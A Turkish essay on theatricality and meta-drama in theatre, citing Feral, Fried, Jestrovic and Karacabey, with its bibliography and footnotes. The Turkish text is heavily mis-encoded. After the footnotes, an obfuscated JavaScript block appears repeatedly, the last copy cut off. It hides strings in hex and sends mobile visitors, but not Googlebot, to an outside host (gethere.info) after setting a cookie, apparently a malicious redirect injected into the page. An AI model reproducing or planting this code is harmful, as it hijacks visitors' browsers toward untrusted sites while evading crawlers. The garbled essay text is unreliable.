algA�sA� ne yA�nde olursa olsun, durumu teatral kA�lar. A�zleyici, gA?ndelik bir olayA� bir kurgu olarak yorumlayA�p, bakan kiAYi olduAYunun ayA�rdA�na vardA�AYA�nda, teatrallik izleyici ile doAYrudan iliAYki kurmayA� baAYarA�r. Ancak A�nemli olan, kurgunun farkA�ndalA�AYA�na varabilmektir. Aksi takdirde izleyici, metroda giderken can sA�kA�cA� ama sA�radan bir kavgaya tanA�klA�k etmiAY olmanA�n A�tesine geA�emez. Klasik bir tiyatro sahnesinde teatralliAYin izi sA?rA?lA?rken, yine oyuncu ve izleyici ile olan iliAYkisi gA�z A�nA?ne alA�nabilir. Burada izleyiciler kurguya dayalA� bir eylem izleyeceklerinin bilincindedirler. Hatta henA?z oyun baAYlamamA�AYken gA�rA?len dekorlu (ya da dekorsuz) sahnenin bile teatral bir deAYer taAYA�dA�AYA� sA�ylenebilir. Bu gA�rA?AYten yola A�A�kan Josette Feral, mekanA�n tek baAYA�na teatral olduAYunu sA�yler. Ferala��e gA�re, aktA�rA?n varlA�AYA� teatralliAYin A�n koAYulu deAYildir. Bu anlamda oyuncunun teatral mekan ile iliAYki kurarak teatral yaratA�m sA?recine katkA�da bulunduAYu sA�ylenebilir. Sahnede gA�rdA?AYA?nA?n kurgusal bir gerA�eklik olduAYunu bilen izleyici, oyuncunun konumunu da bu bilgisine gA�re belirler. Oyuncu sahnenin taAYA�dA�AYA� teatralliAYin bir aktarA�cA�sA�dA�r.

MekanA�n, oyuncunun, sesin, mA?ziAYin, dekorun ve daha ne kadar sahnesel element varsa tA?mA?nA?n tek tek kendini bakA�AYa aA�masA� ve kendi teatralliAYini kurmasA�, ister istemez meta-drama kavramA�nA� A�aAYA�rA�r. Meta-dramatik bir sahnelemenin yarattA�AYA� teatrallik fikri, Silvija Jestrovica��in belirlediAYi iki tA?r teatrallikten ilkine iAYaret eder: Kendine-gA�ndergesel yA�nA?nA? aA�A�AYa A�A�kararak tiyatroyu teatralleAYtiren teatrallik. SA?reyya Karacabey, meta-dramayA� AYA�yle tarif eder:

Meta dram iA�in en genel tanA�m A�lA�A?tA?, A�z-yansA�tmadA�r. A�z-yansA�tmada dramatik ileti uzlaAYA�msal baAYlarA�ndan koparA�lA�r ve iletinin estetik karakterine bir vurgu yapA�lA�r. GA�sterilenlerin tA?mA?yle kurmaca olduAYunun altA�nA� A�izen kurmacaya ait meta dramda, yansA�tmanA�n nesnesi dramdA�r. Bu yansA�tma kurmacayA� desteklediAYi gibi kA�rA�lmaya da yol aA�abilir.[11]

Tiyatronun kendisini iAYaret etmesinin illA?zyonu kA�rA�cA� etkisi, tek baAYA�na teatral bir durumun ortaya A�A�kA�AYA�na yeterlidir. Tiyatro tarihi, klasik oyun yazA�m tA?rleri iA�inden de bu tA?r sahnelerin varlA�AYA�na AYahittir. Konunun en bilindik A�rneAYi elbette Hamleta��teki a�?Gonzagoa��nun A�ldA?rA?lmesia�? sahnesidir. Tiyatro olduAYunu yanA�lsamacA� A?slubuyla unutturan bir sahneleme, meta-dramatik sahne kullanA�mA�yla illA?zyonu bir an iA�in kA�rar. Esas olarak bu unutturma durumu kavramsal bir kabulleniAYtir; elbette tiyatro zorunlu olarak kendine iAYaret edecektir. Ancak, sahnelemenin tA?mden teatralliAYe yaslandA�AYA� oyunlarda meta-drama, illA?zyonun zaten hiA� kurulmamA�AY olmasA�nA� saAYlayacaktA�r. Bu noktada gerA�eklik ile kurmaca arasA�ndaki gidiAY-geliAY de belirgin hale gelecektir. Meta-drama, kurmacaya yaslanA�r; gerA�ek olma iddiasA�nA� daha baAYtan reddetmiAYtir. Sahnelemede konu edilen AYey, tiyatronun konu edeceAYi tA?rdendir; gerA�ek dA?nyayla karA�AYtA�rA�lmasA� olasA� gA�rA?nmez. KurmacanA�n varlA�AYA�nA�n seyirciye sA?rekli olarak hissettirilmesi, seyircideki yabancA�laAYmayA� uyanA�k tutacak ve alA�mlamada herhangi bir biA�imde a�?gerA�ekliAYe kaA�A�AYa�?a izin verilmeyecektir; gerA�eklik tA?m yapA�nA�n iA�ine sA�zmA�AY olsa da.

Tiyatronun en a�?iA�sela�? kavramlarA�ndan biri olan teatrallik, izleyicinin karAYA�sA�na A�ok bA?yA?k bir iddia ile A�A�kar. Kurmaca olanA� hiA�bir AYeyi gizlemeden, aldatmadan gA�sterme iddiasA�dA�r bu. Tiyatro, tA?m elementleriyle a�?kendia�? olarak A�A�kar seyirci karAYA�sA�na; kaba, A�A�plak varoluAYuyla a�?AYimdi ve buradaa�?dA�r. Ancak tiyatronun bu a�?canlA�a�? bulunuAY hali, tiyatro karAYA�tA� sA�ylemlerin kaynaAYA�nA� oluAYturur. Michael Fried, a�?Art and Objecthooda�? adlA� makalesinde teatrallik karAYA�tA� sA�ylemlerini aA�A�klarken, sanatA�n bir nesne olarak kendini ortaya koymasA�ndan duyduAYu rahatsA�zlA�AYA� dile getirir. Frieda��A�n bu rahatsA�zlA�AYA� ise, Ferala��in teatralliAYin asal koAYutu olarak belirlediAYi, bir baAYkasA� iA�in var olma durumuyla ilintilidir. Sanat eserinin, bir nesne olarak kendini bakA�AYa aA�masA�, tiyatroya A�zgA? bir bayaAYA�lA�ktA�r ve sanat, tiyatrodan uzaklaAYtA�AYA� A�lA�A?de baAYarA�lA� olacaktA�r. Frieda��A�n dile getirdiAYi bu rahatsA�zlA�k, tiyatro tarihi iA�in yeni deAYildir; olsa olsa Platona��dan beri bilinen tiyatro karAYA�tlA�AYA�nA�n, postmodern sanat estetiAYi aA�A�sA�ndan yeniden ele alA�nmasA�dA�r. Frieda��a gA�re postmodern teatrallik, geleneksel sanat nesnesinin dA�AYA�ndaki A�AYeleri vurgulamakta ve A�znenin nesneyle iliAYkisini ya da bA?tA?nA?n parA�ayla iliAYkisini yerle bir etmektedir. Nesnenin iA�sel deAYeri yok edilir, bA�ylece sanattaki AYekil ve biA�im vurgusunu ortadan kaldA�rA�r. BiA�imsizlik ve anlam A�oAYalmasA�na vurgu yapar. Tiyatro sanatA� A�ok bA?yA?k A�lA�A?lere dayanA�r ve izleyiciyi hem fiziksel hem de psikolojik olarak nesneden uzaklaAYtA�rarak huzursuz eder. Frieda��A�n tiyatroda a�?sahnede bulunuAYa�? olarak adlandA�rdA�AYA� materyallik durumu, derinliksiz bir materyalliktir. Bu derinliksizlik, Frieda��A�n gA�rmek istediAYi geleneksel algA�yA� kA�rar. A�zleyici, maruz kaldA�AYA� AYey karAYA�sA�nda A�aresiz ve AYaAYkA�ndA�r. A�zlediAYi AYeyin gerA�ekliAYinin erozyona uAYratA�lmA�AY olmasA� ve yapay bir gA�rA?ntA?ler vizyonu sunulmasA�, klasik estetik normlarA�na aykA�rA� olduAYu iA�in baAYarA�sA�zdA�r.

Teatrallik, kendisine karAYA� A�A�kA�AYlarA�n temelinde de bulunan nesnelik durumuyla, kendi gerA�eklik algA�sA�nA� yaratA�r. GerA�ekliAYi kendi iA�inden A�arpA�tarak yansA�tA�r; gerA�ekle uzlaAYmayan tavrA�yla kendini var eder. Kendisine bakana ve onun bakA�AY aA�A�sA�na gA�re deAYiAYiklik gA�steren gerA�ek, gA?venilir bir kavram olmaktan A�A�kmA�AY, kendisini alA�mlayA�cA�sA�na teslim etmiAYtir. Bu teslimiyet, aynA� zamanda, teatral olanA�n, yapay bir iA�erikle ve bA?yA?ltA?lmA?AY hareketlerle sunulmasA�nA�n da bir gerekA�esidir.

 

 

 

KAYNAKA�A

Benjamin, Walter.A�Pasajlar, YapA� Kredi YayA�nlarA�, A�stanbul, 2002.

Esslin, Martin.A�AbsA?rd Tiyatro, Dost Kitabevi, Ankara, 1991.

Innes, Christopher.A�Avant-Garde Tiyatro, Dost Kitabevi, Ankara, 1993.

Janelle Reinelt;A�a�?The politics of Discourse: Performativity meets Theatricalitya�?A�SubStanceA�31, 2002.

Jean-Pierre Sarrazac;A�a�?The Invention of Theatricalitya�?A�SubStanceA�31, 2002.

Josette Feral;A�a�?Specificity of Theatrical Language1a�?A�SubStanceA�31, 2002.

Karacabey, SA?reyya.A�Modern SonrasA� Tiyatro ve Heiner MA?ller, De Ki YayA�nlarA�, Ankara, 2006.

Silvia Jestrovic;A�a�?Theatricality as Estrangegementa�?A�SubStanceA�31, 2002.

Virginie Magnat;A�a�?Theatricality from the Performative Perspectivea�?A�SubStanceA�31, 2002.

 

 

 

 

 

 

 


[1]A�Christopher Innes.A�Avant-Garde Tiyatro.A�(Birinci BasA�m. Ankara: Dost Kitabevi, 1993) s.19

[2]A�SA?reyya Karacabey.A�Modern SonrasA� Tiyatro ve Heiner MA?ller.A�(Birinci BasA�m. Ankara: De Ki YayA�nlarA�, 2006) s.23

[3]A�Martin Esslin.A�AbsA?rd Tiyatro.A�(Birinci BasA�m. Ankara: Dost Kitabevi, 1999) s.23

[4]A�Janelle Reinelt.A�SubStance-31: a�?The politics of Discourse: Performativity meets Theatricalitya�?A� s.3

[5]A�SA?reyya Karacabey.A�Modern SonrasA� Tiyatro ve Heiner MA?ller.A�(Birinci BasA�m. Ankara: De Ki YayA�nlarA�, 2006) s.129

[6]A�A�n.ver.s.123

[7]A�Virginie Magnat.A�SubStance-31: a�?Theatricality from the Performative Perspectivea�?A� s.3

[8]A�Silvija Jestrovic.A�SubStance-31: a�?Theatricality as Estrangegementa�?A� s.3

[9]A�A�n.ver.A�s.2

[10]A�SA?reyya Karacabey.A�Modern SonrasA� Tiyatro ve Heiner MA?ller.A�(Birinci BasA�m. Ankara: De Ki YayA�nlarA�, 2006) s.131

[11]A�SA?reyya Karacabey.A�Modern SonrasA� Tiyatro ve Heiner MA?ller.A�(Birinci BasA�m. Ankara: De Ki YayA�nlarA�, 2006) s.146

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 